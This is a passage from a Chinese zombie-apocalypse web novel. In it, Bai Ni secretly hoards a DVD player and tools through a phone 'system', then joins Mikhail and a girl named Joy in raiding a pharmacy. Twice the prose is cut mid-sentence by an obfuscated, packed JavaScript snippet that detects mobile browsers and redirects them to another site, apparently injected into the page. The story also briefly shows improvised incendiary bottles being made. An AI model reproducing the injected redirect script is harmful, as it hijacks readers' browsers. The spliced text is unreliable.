白睨把托盘放在两床之间的小柜上,关掉顶灯,只留下床头昏黄的壁灯。光线暗下来,房间像被慢慢包进一个柔软的壳中。米哈伊尔终于把那盒子拆开,DVD机伸出黑舌,将影碟缓缓卷进嘴里。 片头动画开始播放。 五分钟后,画面里一个穿着靴子的猫咪跳来跳去。 “……认真的吗?动画片?” 手里的披萨只咬了一口,白睨瞪着眼睛,差点给噎住,“你选了个动画片?” 米哈伊尔塞了一大口土豆泥,“不好吗?现下不就该看点轻松的吗?” “我还以为你会喜欢看那种动作爽片。” “这也是动作爽片啊。”他指向电视,“你看它身法多灵活?” “喵!”屏幕里的橘猫在空中转了个大风车。 白睨无言以对。 “你别瞧不起动画影片,”米哈伊尔“咔嚓”一声打开汽水罐拉环,气泡咕噜噜冒出来,“梦想、冒险、爱人,永远是最经典的。不工作的时候我不爱想那么多,人生就多少年啊,为什么要浪费在纠结上。” “我没有看不起动画片,”白睨慢慢咽下披萨,“只是觉得……出乎意料。” “向你介绍不一样的我,”男人耸肩,“梦想就是冒险和爱人,爱好就是看动画片……撇去这些,电影本身就很好看,你会喜欢的。” 不知道为什么他这么笃定,但是开场确实不错,白睨喝着汽水不再出声。 一个小时后。 “你还喝汽水吗?” 对方没有反应。 米哈伊尔耐着性子又问了一遍:“你要喝其他饮料吗?你咬那易拉罐边已经咬了十几分钟了。” “哦。”白睨眼睛还盯着电视屏幕,一伸手,把顶部被咬开半圈的易拉罐递给他。 ……他看她也是铁齿铜牙。 米哈伊尔默默从床边换了塑料瓶的饮料给她 在塑料瓶口的螺旋纹快被白睨咬变形前,这部动画片总算落下帷幕,侠客在冒险结束后重新踏上旅途,获得了鲜花也如愿收获美猫的青睐。 眨眨发干的眼睛,正常理智终于归位,白睨把塑料瓶丢进床边的垃圾桶,心想这部片子确实不错。 放松地靠在床头,她忽然意识到,自己已经很久没有这样,不去思考下一步该怎么做、物资还剩多少、其他角色存着什么心思了。 眼前只有一个纯粹、鲜活的生命,在为想守护的东西奔走、追逐,不纠结,不菲薄。 虽然那些简单的道理她都懂,但亲眼看过就是不一样,可能这就是人类文化造物的魅力。 她一下子对自己要用图片上传功能做什么有了主意——明天临走前,她要把DVD机带走。DVD不算很大,可以被收纳;不小,亲自搬很费劲,存在手机里正好。更重要的是,等他们找到稳定落脚的地方,她可以把DVD机随便丢在一处,佯装是他们幸运捡到的。 然后就能在末日小屋里美美看影片了。 既然这样——其他的家具是否也能这样?虽然存储空间不大,但是装几件小型家具还是可以的。 一个计划在她脑海里成型。 · 第二天早上,枕边的手机嗡嗡震动。白睨眼睛还未睁开,手已经一把关掉闹钟。 另一张床上的米哈伊尔动了动,胳膊从被子里探出来,压住额头,喉咙里发出一声含糊的低哼。过了两秒,他才慢慢睁开眼,视线在昏暗里寻找她的身影。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877709|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……几点?”声音低哑,显然还没完全醒。 见她已经坐起身,他抬手看表,“六点?要这么早起吗?” 白睨披上外套,道:“我饿了,找点吃的。” 见米哈伊尔迷迷糊糊坐起来,她赶紧过去把他摁下,“哎,你想睡就多睡会儿,我很快就上来。” 不等对方说话,她快速拿起棒球棍和手机,离开了房间。 悄悄来到隔壁房间,白睨对着DVD机和影碟盒一通拍照,图像上传的瞬间现实物品原地消失,两串代码由[NULL]发送在对话框里。 完成第一步,她轻手轻脚地关上房门,沿着楼梯下到一楼。 六点的天空已亮,阳光透过窗户照进旅馆,形成明亮的矩形光斑,地上亮晶晶的……哦,是玻璃渣。 若不是地上的玻璃渣和污渍,这美拉德色系的复古风客厅还算温馨。 踏下台阶,谨慎地绕开碎渣和破碎的画像,她正准备去一楼尽头的工具间,忽然发现脚边的方框小一些,似乎不是风景画。她小心翼翼地捏住一角,将其提起,看清这是一幅全家福。照片里是一家三口,小女孩被父亲抱在怀里,一手牵着母亲,背景应该是他们停车的那棵橡树下。 想起套房里的儿童房,她猜测这应该是旅馆主人一家。 乔伊,听名字像是女性,会是这位母亲或女儿么? 白睨留了个心眼,用手机拍下这张照片,继续往走廊尽头的工具间走去。 工具间倒维持着原来整洁的风格,工具架、工具箱、手工台、手锯和清洁机器都摆得齐整。靠墙的地面上,一台逆变器、一台充电控制器并排放着,底部垫着旧木板防潮。这才是白睨的目的。 普通家具可以用建材和工具手搓,精密设备和基础工具可不行。等他们找到栖身之所,必然要考虑能源系统,不如现在就开始“囤货”。 点开[NULL]的黑色头像,白睨给她觉得有用的设备和工具一一拍照上传。除了逆变器和充电控制器,电缆绳、蓄电池、保险丝、万用表、管钳等等,由大到小,从觉得有用到不知道有什么用,她通通拍照上传。原本满满当当的工具间,一下子空了不少。 白睨拍去手上的灰尘,见手机还未提醒到达收纳空间上限,便来到房子外面,将镜头对准屋顶的六块太阳能面板,拍下照片。暂时没有点击上传,她直接将手机熄屏,准备等上车后再收走东西,避免米哈伊尔一出门发现异样。 她刚转身回到旅馆门口,就听见楼梯上咚的一声。 一把步枪正对准门口,米哈伊尔披着睡衣外套,一脸警惕。看清门口的身影,他放低枪口,尴尬地清了清嗓子,“你去哪儿了?” 她说谎不打草稿的技术愈发炉火纯青,“出去看了眼车子,确认还在不在。” “还是不要单独行动了,万一遇到点啥呢。”米哈伊尔抓抓凌乱的头发,拉开贩卖柜门,撕开包装叼了块饼干,边嚼边道,“要收拾东西吗?半个小时候出发的话,中午大概就能到托斯克洛德的木费镇。” 白睨点点头。 木费镇(Woodfell),去年秋季她曾来旅游过。那时她坐火车而来,轨道从草坡间穿过,将她从砖红色的工业城市带入这个节奏缓慢的蜂蜜色小镇。 此番也算故地重游,却恍如隔世。 30.木费镇(一) 心跳在耳中擂鼓,汗湿的发丝黏在下颌,但她根本没有多余的力气去擦。完全依靠求生本能与脚步惯性往前冲,却如无头苍蝇般不知该跑向何处。 混凝土站台上脚步纷乱,粗粝的嘶吼从四面八方涌来。 一记狼牙棒甩在丧尸面上,丧尸旋半圈飞了出去。米哈伊尔收回酸胀的手臂,却露出惊恐神色。 “白!” 白睨一转头,只见丧尸张开血盆大口,朝她脖子咬来。 · 四个小时前。 “还是没办法吗?”白睨扶着车门,身体微微前倾。 保险盒盖掀着,米哈伊尔皱着眉,用手电照着线路,“不是油的问题,是油泵继电器坏了。” 他们坐着MPV离开旅馆不久,就在不远处发现一家加油站。秉着逢站必补的原则,他们下车把油加满,等到要离开时却发现车子无法启动。 “那该怎么办?”这下白睨是真有点慌了。没有代步工具,他们那堆物资该怎么办?进入景区遇到丧尸都不好跑。 “只能更换继电器了。”米哈伊尔叹一口气,把脑袋收回来,“汽修店肯定有,只能去店里找了。” 这辆床车功能齐全,又载着大量生存物资,谁都不舍得放弃。短暂商量后,他们把手电筒、干粮和紧急医疗用品塞进背包,拿上武器,就步行进镇了。 然而事实证明,这是一个错误的决定。 他们在经过户外的铁路车站时,倒霉地遇上了一大群滞留在车站和火车内的丧尸。 “砰!”丧尸的牙齿刚磕在皮革项圈上,白睨迅速后退,一甩棍砸崩它的脑袋。尸/体直挺挺摔倒在地,同时,更多的丧尸跟了上来。 “走!”米哈伊尔拽起她的手腕往前奔去。 白睨曾来过这个车站,清楚它位于镇子边缘,往外走过小街就能到核心区域。但在被丧尸追逐的情况下,去尸群更密集的街道岂不是自投罗网? 可是前方只剩下大巴停车场,根本不利于藏身。 思来想去,也只能去后街寻藏身之处了! 白睨正准备往外跑,余光里忽现摇动的影子。眼珠下意识转去,登时瞳孔地震。 一个小女孩居然蹲在月台下朝他们招手! 见到她发现自己,小女孩更加着急,拼命示意他们往这里跑。 白睨内心一横,跑到月台边缘,单手撑地一跃而下。小女孩扭头就跑,身影瞬间消失在灌木丛中。 灌木丛细枝茂密,直接闯只会被拦下,但小女孩灵活地穿梭在空隙间,像走一条蜿蜒的隧道那样顺利。白睨和米哈伊尔跟在她身后,竟也十分顺利,很快就把丧尸群甩在身后。 女孩一头深棕色头发,扎着凌乱的马尾辫,脸蛋上的雀斑被烈日晒得微红。她背着一个小红包,手里握着木棍,估摸只有八九岁,此时竟独自带着两个大人在郊外奔逃。 白睨总觉得她看起来有点眼熟,猛地想起,这不就是旅馆照片上那个小女孩吗? 女孩似乎是有目的地带他们前往某处,在木费镇外围绕了一大弯,驾轻就熟地避开丧尸密集处,终于把他们带到一堵长长的石墙外。石墙不算高,围住一片绿荫草地,一方方粗糙的大石块插在地里,沉静肃穆。 这片地也有几分眼熟,白睨微抬视线,果然在墓园后发现一座灰黄色岩砌的方形小教堂。 她确实来过这里,在去年旅行的时候。木费镇教堂有一个造型奇特的小门,是著名的网红打卡景点。 把他们带到铁艺门外,小女孩终于停下,小声道:“你们可以先、先从后门进去,我还要去一个地方。” 白睨收回目光,落在身边这小小的身影上,“嘿,我叫白,你叫什么名字呀?” “乔伊。” 对上了。 但这并没有让她的心轻松,反而跌入谷底。 从接触角色功能到现在,除了米哈伊尔这个自己设定的男主,她就没遇上一个正常的NPC。每个NPC上线就像系统摆上人头,拿下才有奖励。 可眼前这个不到她胸口的小女孩,难道也隐瞒了什么吗? 尽管现在对系统和小女孩两头怀疑,白睨还是勾起嘴角,用柔和自然的语气询问,“你要去那里?一个人太危险了,你的父母呢?” “我需要去药店,拿药给、给妈妈。”乔伊怯生生地抓挠头发,可白睨没有错过在她扭头之前,眼中那一闪而过的期待,“妈妈受伤了,需要药才能好。” 白睨琢磨起眼下的处境。让这么小的孩子在满是丧尸的镇上走,她肯定放心不下;听从来路不明的角色把自己引到封闭房间,她心存顾虑,万一教堂里又是一伙邪教徒呢? 她看向米哈伊尔。男人靠在石墙旁,虽面无表情也无表态,但伸手紧了紧背带,迎上白睨的目光,眨眼。意思是随她决定,行动的话也准备好了。 “我们和你一起去。”她的手轻轻搭在女孩肩上,“拿好需要的药,我们一起回来。” 乔伊的眼睛像星星一样亮了,轻快地点点头,“谢谢你。”声音小小的,很有礼貌。 再冷酷的人见到这一幕,内心也会融化一角。白睨摸摸她的脑袋,道:“你带路吧。” · 黄砖灰瓦的矮房紧密地列成两排,夹着狭窄的沥青路;街边都是商铺,纤细的店名直接印在砖墙上,质朴简单,一目了然。屋顶的金鸡悠悠摇晃,风标指向西南,一群黑鸟簇拥着石座,安静地注视着夹缝生存的三人。 昔日人来人往的小镇街道,现在只有尸/体在缓慢拖行。 连排屋前没有遮蔽物,他们只能躲在歪七扭八的车堆中间,在街道中央移动。原本是米哈伊尔探路,白睨护着乔伊,但没想到乔伊灵活如小蛇,竟凭着瘦小身形钻到车底,替他们探路。 沥青路面微微发亮,散出一股被烘热后的气味。白睨抹了汗,手掌刚一撑地,灼热便沿着粗糙颗粒窜上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885417|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,仿佛他们正置身于蓄热的鹅卵石炉。前段日子风和日丽,白睨差点忘了现在仍是夏季八月,今天猝不及防迎接了高温。 小女孩隔着车窗冲他们招手,她猫着腰潜去汇合,抬头望见对面的石墙上悬着一个黯淡的绿十字,那是药店的标志。 几只丧尸正在商铺前晃悠,一旦惊扰一只,整条街的丧尸都会闻声赶来。 白睨和米哈伊尔对了个眼神,准备用箭把路灯射碎声东击西,却见乔伊忽然俯下身,从包里拿出一个弹弓和一只机械甲虫。他们原想制止,可女孩动作熟练——拨开开关、上弦、拉皮筋、瞄准,“啪嗒”一声,甲虫往反方向飞了出去。 只见那小圆球掉在地上翻滚几圈,突然立起小脚,翅膀一抬发出刺耳的电子儿歌: “…London bridge is falling down!Falling down!……”甲虫神经质地胡乱转圈中。 几颗腐烂的头颅转向那边,随后像发条玩具般僵硬地移动过去。 三人踩着影子迅速溜去,米哈伊尔第一个扑到门前,等白睨拉着乔伊跑进来,立刻反手将门关上。 药店内光线昏暗,金属卷帘只下拉一半,墙上飞溅状的黑渍暗示了原因。几排货架歪斜着,有的已经倾翻在地,瓶罐和药盒四处散落,但幸运的是没有看到丧尸的身影。 捡起脚下的一瓶碘酒喷雾,白睨刚想问问乔伊需要什么种类的药品,就见她蹲下身并拉开背包拉链,像个老成的顾客在地摊挑选商品般拨弄着堆满一地的药盒,在几十种被踩扁的包装里挑中目标:抗生素、消毒液、绷带、止疼药……都是处理伤口的药物。 白睨不好意思争抢,只把碘酒喷雾放进包里备用,便帮女孩一起寻找。她绕到歪倒的货架后,捡起地上的药膏,认真地辨别那些晦涩的专业名词,最后失望地发现这只是烫伤药。 这时,她看见米哈伊尔蹲在柜台后,台面上零散地摆着几只玻璃药瓶和酒精,他则在用剪刀把纱布剪成一段一段。 “你在做什么?” “□□。”米哈伊尔抬头,目光突然锁定她手里的药膏,伸出手,“给我那个。” “这个?”她疑惑地看了看烫伤药,递过去。米哈伊尔把药膏往每只玻璃瓶里挤了少许,顺便解释道:“膏体能让火烧得更久。” 白睨左看看这个正熟练地搓出管制物品的男人,右看看那个正专注挑选药膏的女孩,意识到自己哪边都帮不上忙,只能默默退下,去寻找这药店里有没有其他有用的东西。在翻倒的纸箱和杂物下摸索了一会儿,最后找到两盒葡萄糖片和三袋维生素软糖。 “嘿,看看这个。”白睨将手里的糖果展示给乔伊,只是随口一提。可话音刚落,她就察觉到女孩脸上掠过一丝不安,好像突然想起什么。“乔伊?怎么了?” “没有……”女孩抓紧肩带,小声道:“我们先、先走吧,绕回教堂,还、要好一会儿。”